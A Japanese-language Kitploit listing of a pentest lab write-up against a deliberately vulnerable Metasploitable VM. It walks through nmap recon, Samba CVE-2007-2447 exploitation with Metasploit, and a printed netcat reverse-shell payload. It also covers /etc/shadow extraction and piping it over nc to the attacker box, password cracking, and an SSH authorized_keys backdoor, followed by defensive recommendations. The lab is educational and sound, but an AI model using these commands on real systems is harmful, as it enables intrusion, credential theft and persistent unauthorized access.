Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
metasploitable-pentest-lab — Metasploitable に対する完全なペンテスト: nmap による偵察、Metasploit による悪用 (CVE-2007-2447)、認証情報の抽出とクラッキング、SSH 永続化 | Kitploit
ツール/GitHubGitHub/mboatella25/metasploitable-pentest-lab
パスワードクラッキング特権昇格偵察永続化メカニズム脆弱性分析エクスプロイト横移動情報収集ポストエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ペネトレーションテスト
学習と教育
ラボと実践
GitHubmboatella25/metasploitable-pentest-lab

metasploitable-pentest-lab

Metasploitable に対する完全なペンテスト: nmap による偵察、Metasploit による悪用 (CVE-2007-2447)、認証情報の抽出とクラッキング、SSH 永続化

リポジトリを見る
152ヶ月前未レビュー

Metasploitable における脆弱性のエクスプロイト

管理された隔離環境に対する実際の攻撃の完全なサイクル: ラボの準備、nmap による偵察、攻撃対象領域の優先順位付け、CVE へのマッピング、Metasploit によるエクスプロイト、ポストエクスプロイテーション、認証情報の抽出とクラッキング、そして SSH キー注入による永続化。

アーキテクチャ: Kali Linux(攻撃者)対 Metasploitable(標的)、隔離されたホストオンリーネットワーク

1. 環境の準備

  • 攻撃者: Kali Linux — msfconsole、nmap、John the Ripper。
  • 標的: Metasploitable 1 — Ubuntu 8.04(2010年)、パッチ未適用、既知の CVE を複数保有。
  • ネットワーク: ホストオンリー。両 VM は実在のネットワークから完全に隔離(192.168.64.0/24)。被害者 IP: 192.168.64.3。

両 VM 間の接続確認

2. Nmap による偵察

何が露出しているかを正確に特定するためのバージョンスキャン — 脆弱性は抽象的なサービスではなく具体的なバージョンに影響する:

nmap -sV 192.168.64.3
ポートサービスバージョン
21/tcpftpProFTPD 1.3.1
22/tcpsshOpenSSH 4.7p1 Debian 8ubuntu1
23/tcptelnetLinux telnetd
80/tcphttpApache httpd 2.2.8
139,445/tcpnetbios-ssnSamba smbd 3.X — 主な標的
3306/tcpmysqlMySQL 5.0.51a
8180/tcphttpApache Tomcat/Coyote JSP 1.1

12 のポートが開放されており、すべて旧式で悪用可能なバージョン。

3. 攻撃対象領域の優先順位付け

最初に見つかったポートを攻撃するのではなく、標的を選ぶ前にサービスをリスクの種類ごとに分類した:

  • リモートアクセス(22、23): Telnet は認証情報を平文でさらす。OpenSSH 4.7p1 は非常に古いバージョン。
  • Web アプリケーション層(80、8180): Apache 2.2.8 は安定版から大きく取り残されている。Tomcat は脆弱な認証情報と潜在的な RCE を抱える。
  • 露出したデータベース(3306): MySQL 5.0.51a。データへ直接アクセスできる旧バージョン。
  • 共有ファイル / 内部ネットワーク(139、445): Samba。歴史的に最も悪用されてきたサービスのひとつで、既知の公開 CVE とエクスプロイトが存在。

選択した標的: Samba 3.0.20-Debian — 文書化された重大な脆弱性を持つバージョン、Metasploit で利用可能なエクスプロイト、事前認証を必要としないコード実行を兼ね備える: 最大の信頼性で最大の影響を与える。

4. 脆弱性のマッピング

Nmap スクリプトエンジン(NSE)による正確なバージョンの確認:

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 は CVE-2007-2447 に対して脆弱: パラメータ username map script が入力を検証しないため、攻撃者はユーザー名フィールドにシェルコマンドを直接注入できる。マッピングはログイン 前 に実行されるため、有効なユーザー名もパスワードも不要。

CVE-2007-2447 のレコード: Samba の username map script を介した RCE

5. Metasploit によるエクスプロイト

msfconsole

Metasploit Framework の起動

対応するモジュールの検索:

msf > search type:exploit samba

Samba のエクスプロイト検索 — exploit/multi/samba/usermap_script、ランク excellent

設定と実行:

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

特権の即時確認 — この脆弱性は root への直接アクセスを与え、その後の権限昇格は不要:

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

取得したシェル: whoami が最初から root を返す

6. ポストエクスプロイテーション: 実際にどう起こったか

被害者のプロセスを調べると、注入したペイロード自体が実行されているのが確認できる:

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

送信したユーザー名にはコマンド自体(/=`...`)が含まれていた: Samba はそれをサニタイズせずシェルに渡し、シェルは mkfifo でパイプを作成し、netcat で Kali への逆接続を開いて /bin/sh をそのパイプに接続した — リモートコード実行が完全に成立した。

netstat -tulnp による内部サービスの列挙: MySQL が 0.0.0.0:3306 で待ち受けているのが判明 — localhost だけでなくネットワーク上のすべてのマシンに露出していた。

7. 認証情報の抽出とクラッキング

被害者上でクラッキングを試みるのではなく(CPU を消費し、ノイズを生み、痕跡を残す)、ハッシュを抽出して Kali に転送し、オフラインで攻撃した:

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

/etc/shadow から抽出したパスワードハッシュ

netcat 経由での転送と John the Ripper の準備:

# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John は自動的に 3 つのフェーズを実行する(ユーザー自身の情報を用いる single モード、辞書攻撃、増分ブルートフォース)。結果: 7 件中 6 件のパスワードをクラック。SSH、MySQL、FTP に再利用可能な認証情報も含まれていた。

John the Ripper: クラックされた 6 件のパスワード

8. 横移動と永続化

クラックした認証情報を使い、正規ユーザーとして SSH で直接アクセス:

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

クラックした認証情報による SSH アクセス

ローテーションされる可能性のあるパスワードに依存しないため、独自の鍵ペアを生成して被害者の authorized_keys に追加した — パスワードの変更後も存続し、ブルートフォースのアラートを発生させないバックドア:

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # ejecutado en la víctima, ya comprometida

その後はパスワードなしでアクセス:

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

鍵認証によるパスワードなしの永続的 SSH アクセス

発見事項

  • 12 のポートが開放され、すべて旧式のバージョン — 攻撃対象領域は単一の欠陥ではなく、長年更新されなかったサービスの蓄積だった。
  • いかなる認証も不要で悪用可能なリモートコード実行の脆弱性 — 露出したサービスにとって最悪のシナリオ。
  • サービス間で再利用された脆弱な認証情報(SSH、MySQL、FTP)— 1 か所の侵害で複数のアクセスが得られた。
  • ネットワークセグメンテーションと基本的なハードニングの完全な欠如(0.0.0.0 に露出したデータベース、Telnet のようなレガシープロトコルが有効)。

セキュリティに関する推奨事項

Telnet のような安全でないプロトコルの廃止、重要サービスとカーネル自体の更新、データベースの直接露出の制限、ネットワークセグメンテーションの適用、そして何よりも — パスワードのクラックがいかに容易だったかを踏まえ — 堅牢で、サービス間で再利用されない認証情報ポリシーの強制。本番環境でこの攻撃を防ぐであろう検知(異常な送信接続の監視、nc/リバースシェルへのアラート)と同じ種類のものが、私が防御側で取り組んでいる Home SOC Lab の内容だ。

結論

攻撃前の優先順位付け — ポートを闇雲に試すのではなく、どのサービスが最も高い信頼性で最大の影響を与えるかを理解すること — が Samba へと直接つながった。ポストエクスプロイテーションのフェーズで、ps aux に注入されたコマンド自体が実行されているのを目にすることは、入力検証の脆弱性が なぜ システム全体の制御へと変わるのかを最もよく示している。そして SSH キーによる永続化は、一度侵入されれば攻撃者の目標は単に「アクセスを得る」ことではなく、それを静かに長期にわたって維持することであると明らかにする — 多層防御が単一の障壁に依存すべきではない理由は、まさにここにある。

ツールをダウンロード